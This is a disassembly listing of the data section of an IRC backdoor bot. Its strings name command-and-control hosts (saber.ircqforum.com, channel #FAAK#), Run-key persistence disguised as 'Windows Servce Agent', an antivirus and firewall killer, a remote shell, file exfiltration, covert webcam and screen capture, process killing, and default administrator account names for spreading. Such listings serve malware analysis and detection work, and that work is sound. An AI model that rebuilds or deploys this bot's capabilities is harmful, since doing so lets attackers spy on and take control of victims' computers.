aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 10h
dword_427CF0	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E2Ch
off_427D0C	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E78
off_427D1C	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D28	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EC4
off_427D48	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F08
off_427D68	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D0B4o ...
		dd offset dword_427F38
off_427D70	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 10h
dword_427D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DB0	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC8	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D0B4h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF8	dd offset off_43D0CC	; DATA XREF: ___:00427E10o
					; ___:00427E5Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427E18	dd 3 dup(0)		; DATA XREF: ___:00427E3Co
		dd 2, 427E10h, 3 dup(0)
		dd offset off_43D0CC
		dd offset dword_427E18+4
off_427E40	dd offset off_43D0EC	; DATA XREF: ___:00427E58o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E40
		dd offset off_427DF8
		dd offset dword_427DC8+18h
		dd 0
		db    0			; DATA XREF: ___:00427E88o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 427E58h
dword_427E78	dd 3 dup(0)		; DATA XREF: ___:00427D18o
		dd offset off_43D0EC
		dd offset unk_427E68
off_427E8C	dd offset off_43D10C	; DATA XREF: ___:00427EA4o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E8C
		dd offset off_427DF8
		dd offset dword_427DC8+18h
dword_427EB0	dd 3 dup(0)		; DATA XREF: ___:00427ED4o
		dd 3, 427EA4h
dword_427EC4	dd 3 dup(0)		; DATA XREF: ___:00427D44o
		dd offset off_43D10C
		dd offset dword_427EB0+4
off_427ED8	dd offset off_43D130	; DATA XREF: ___:00427EF0o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED8
		dd 0
		db    0			; DATA XREF: ___:00427F18o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 427EF0h
dword_427F08	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D130
		dd offset unk_427EF8
		dd offset dword_427DC8+18h
dword_427F20	dd 4 dup(0)		; DATA XREF: ___:00427F48o
		dd 1, 427F1Ch
dword_427F38	dd 3 dup(0)		; DATA XREF: ___:00427D6Co
		dd offset off_43D0B4
		dd offset dword_427F20+8
		align 10h
dword_427F50	dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F80	dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FB0	dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF8h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf	40D7h
; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 426E2Ah
dword_428010	dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D0B4
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D0CC
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D0EC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428078	dd 1Ch,	426682h, 3, 428064h, 428048h, 42802Ch ;	DATA XREF: ___:0042809Co
dword_428090	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428078+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A8	dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280CC	dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280F0	dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D10C
		align 8
		dd 0FFFFFFFFh, 0
dword_428120	dd 1Ch,	4266DEh, 3, 42810Ch, 428048h, 42802Ch ;	DATA XREF: ___:00428144o
dword_428138	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428120+8
		dd 0FFFFFFFFh, 426E72h
dword_428150	dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_42816C	dd 2, 428048h, 42802Ch	; DATA XREF: ___:00428184o
dword_428178	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_42816C
		dd 5 dup(0C5F9FF0h), 5 dup(0F562A23h), 5 dup(293B25E7h)
		dd 7Ah dup(0)
		dd 293B25E7h, 0
		dd 0C5F9FF0h, 15h dup(0)
		dd 0F562A23h, 2FCh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D878
		dd offset sub_40D89A
		dd offset dword_40E504+1CFh
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Br
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2088r
					; sub_40BACD+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C43r
					; sub_40BACD:loc_40BEBEr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DCFr
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Er
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_418359+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Br ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB5+3Ar
					; sub_40ACB5+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aDark		db 'Dark',0             ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A0o ...
		align 4
aAbosel7V4	db 'abosel7 v4',0       ; DATA XREF: sub_401ACD:loc_404945o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDBo
					; sub_401ACD+7EAAo
		align 10h
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E4	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 10h
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_429108	db 6Dh			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 73h,	6Eh, 6Dh
		dd 7261676Eh, 6578652Eh, 0
dword_429118	dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o
aWindowsServceA	db 'Windows Servce Agent',0 ; DATA XREF: sub_401000+Eo
		align 4
asc_42913C:				; DATA XREF: ___:0040AD34o
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F26o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D45o
					; sub_401ACD+303Fo ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A2o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C4o
					; sub_401ACD+4216o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FBo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Ao
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o
					; sub_41A19D+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o
					; sub_41A19D+D4o
		align 4
		dd offset aAdministrato_0 ; "administrator"
		dd offset aDb2		; "db2"
		align 8
		dd offset dword_43D158
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd 0
dword_42923C	dd 10h			; DATA XREF: sub_401ACD+AFBr
					; sub_401ACD+B27r ...
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:00429234o
		align 10h
aAdministrador	db 'administrador',0    ; DATA XREF: ___:00429230o
		align 10h
aDb2		db 'db2',0              ; DATA XREF: ___:00429220o
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:0042921Co
					; ___:0042922Co
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_429300	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429334	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 10h
unk_429360	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 10h
unk_4293A0	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_4293C4	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_4293E0	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_4293EC	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A2F+7Eo
dword_4293F4	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B3+EAo ...
unk_4293FC	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o
		align 4
unk_429464	db  2Dh	; -		; DATA XREF: sub_401ACD+7F09o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
unk_429484	db  2Dh	; -		; DATA XREF: sub_401ACD+7EECo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPasswordAccept	db 'Password accepted.',0
		align 4
unk_4294A4	db  2Dh	; -		; DATA XREF: sub_401ACD+7E8Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedHostAuth	db '*Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E62o
		align 4
unk_4294F8	db  2Dh	; -		; DATA XREF: sub_401ACD+7E24o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedPassAuth	db '*Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7E12o
					; sub_401ACD+7E79o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7DFBo
		align 4
asc_429578:				; DATA XREF: sub_401ACD+7DCBo
		unicode	0, <~>,0
unk_42957C	db  2Dh	; -		; DATA XREF: sub_401ACD+7D7Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRandomNickChan	db 'Random nick change: %s',0
		align 10h
unk_4295A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7D0Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnectingIn	db 'Reconnecting in %s seconds',0
		align 4
unk_4295C8	db  2Dh	; -		; DATA XREF: sub_401ACD+7CC3o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReconnecting_0	db 'Reconnecting in %s ms',0
		align 4
unk_4295EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7CA1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNickChangedToS	db 'Nick changed to: ',27h,'%s',27h,'.',0
		align 10h
unk_429610	db  2Dh	; -		; DATA XREF: sub_401ACD+7C81o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChannelS	db 'Joined channel: ',27h,'%s',27h,'.',0
		align 4
unk_429634	db  2Dh	; -		; DATA XREF: sub_401ACD+7C5Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPartedChannelS	db 'Parted channel: ',27h,'%s',27h,'.',0
		align 4
dword_429658	dd 234032Dh, 6E69616Dh,	202D0302h, 20435249h, 3A776152h
					; DATA XREF: sub_401ACD+7C3Ao
		dd 2E732520h, 0
unk_429674	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409684o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_4296A0	db  2Dh	; -		; DATA XREF: sub_401ACD+7BB0o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_4296C4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4095FCo
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_4296EC	db  2Dh	; -		; DATA XREF: sub_401ACD+7B25o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+7B0Bo
unk_429718	db  2Dh	; -		; DATA XREF: sub_401ACD+79FEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrefixChangedT	db 'Prefix changed to: ',27h,'%c',27h,'.',0
		align 10h
unk_429740	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4094B2o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429764	db  2Dh	; -		; DATA XREF: sub_401ACD+79DBo
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 4
unk_429784	db  2Dh	; -		; DATA XREF: sub_401ACD+79B7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aServerChangedT	db 'Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_4297AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409467o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_4297D4	db  2Dh	; -		; DATA XREF: sub_401ACD+796Co
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_4297F4	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4093FCo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429824	db  2Dh	; -		; DATA XREF: sub_401ACD+7925o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429844	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409398o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429874	db  2Dh	; -		; DATA XREF: sub_401ACD+78C4o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 4
dword_429898	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+7884o
		dd 27732527h, 2Eh
unk_4298B4	db  2Dh	; -		; DATA XREF: sub_401ACD+7802o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_4298D8	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+7785o
		dd 0
unk_4298F0	db  2Dh	; -		; DATA XREF: sub_401ACD+7754o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 10h
dword_429930	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+76E5o
		dd 2Eh
dword_429948	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_40913Fo
		dd 746E6573h, 2Eh
unk_429964	db  2Dh	; -		; DATA XREF: sub_401ACD+766Bo
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_429984	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+762Fo
		dd 732520h
unk_42999C	db  2Dh	; -		; DATA XREF: sub_401ACD+7610o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 4
asc_4299C8:				; DATA XREF: sub_401ACD+75F8o
					; sub_40F6B3+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_4299CC	db  2Dh	; -		; DATA XREF: sub_401ACD+75CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileFailed	db 'Read file failed: %s',0
		align 10h
unk_4299F0	db  2Dh	; -		; DATA XREF: sub_401ACD+75C1o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aReadFileComple	db 'Read file complete: %s',0
		align 4
unk_429A14	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40901Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_0	db '- Invalid parameters for amateur video capture.',0
		align 4
unk_429A54	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409014o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCapt	db '- Error while capturing amateur video from webcam.',0
unk_429A94	db  2Dh	; -		; DATA XREF: sub_401ACD+753Do
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aAmateurVideoSa	db '- Amateur video saved to: %s.',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: sub_401ACD:loc_408F86o
		align 4
unk_429AC8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F73o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aInvalidParam_1	db '- Invalid parameters for webcam capture.',0
		align 10h
unk_429B00	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408F6Co
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_0	db '- Error while capturing from webcam.',0
		align 4
unk_429B34	db  2Dh	; -		; DATA XREF: sub_401ACD+748Fo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aWebcamCaptureS	db '- Webcam capture saved to: %s.',0
aFrame		db 'frame',0            ; DATA XREF: sub_401ACD:loc_408EE5o
		align 4
unk_429B68	db  2Dh	; -		; DATA XREF: sub_401ACD+740Bo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverListComp	db '- Driver list complete.',0
		align 10h
unk_429B90	db  2Dh	; -		; DATA XREF: sub_401ACD+73D8o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aDriverDSS_	db '- Driver #%d - %s - %s.',0
		align 4
aDrivers	db 'drivers',0          ; DATA XREF: sub_401ACD:loc_408E58o
unk_429BC0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E45o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aNoFilenameSpec	db '- No filename specified for screen capture.',0
		align 4
unk_429BFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408E3Eo
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aErrorWhileCa_1	db '- Error while capturing screen.',0
		align 4
unk_429C2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7361o
		db 3, 34h, 2
		db  63h	; c
		db 61h,	70h, 74h
		db  75h	; u
		db 72h,	65h, 2
		db    3
aScreenCaptureS	db '- Screen capture saved to: %s.',0
aScreen		db 'screen',0           ; DATA XREF: sub_401ACD:loc_408DFDo
		align 10h
dword_429C60	dd 234032Dh, 6E69616Dh,	202D0302h, 68746547h, 3A74736Fh
					; DATA XREF: sub_401ACD+7318o
		dd 2E732520h, 0
unk_429C7C	db  2Dh	; -		; DATA XREF: sub_401ACD+72D2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUnableToExtrac	db 'Unable to extract Gethost command.',0
		align 4
unk_429CAC	db  2Dh	; -		; DATA XREF: sub_401ACD+72B6o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aGethostSComman	db 'Gethost: %s, Command: %s',0
		align 4
unk_429CD4	db  2Dh	; -		; DATA XREF: sub_401ACD+7209o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aAliasAddedS_	db 'Alias added: %s.',0
		align 4
unk_429CF4	db  2Dh	; -		; DATA XREF: sub_401ACD+71D5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPrivmsgSS_	db 'Privmsg: %s: %s.',0
		align 4
unk_429D14	db  2Dh	; -		; DATA XREF: sub_401ACD+7180o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aActionSS_	db 'Action: %s: %s.',0
dword_429D30	dd 234032Dh, 6E69616Dh,	202D0302h, 6C637943h, 2E65h
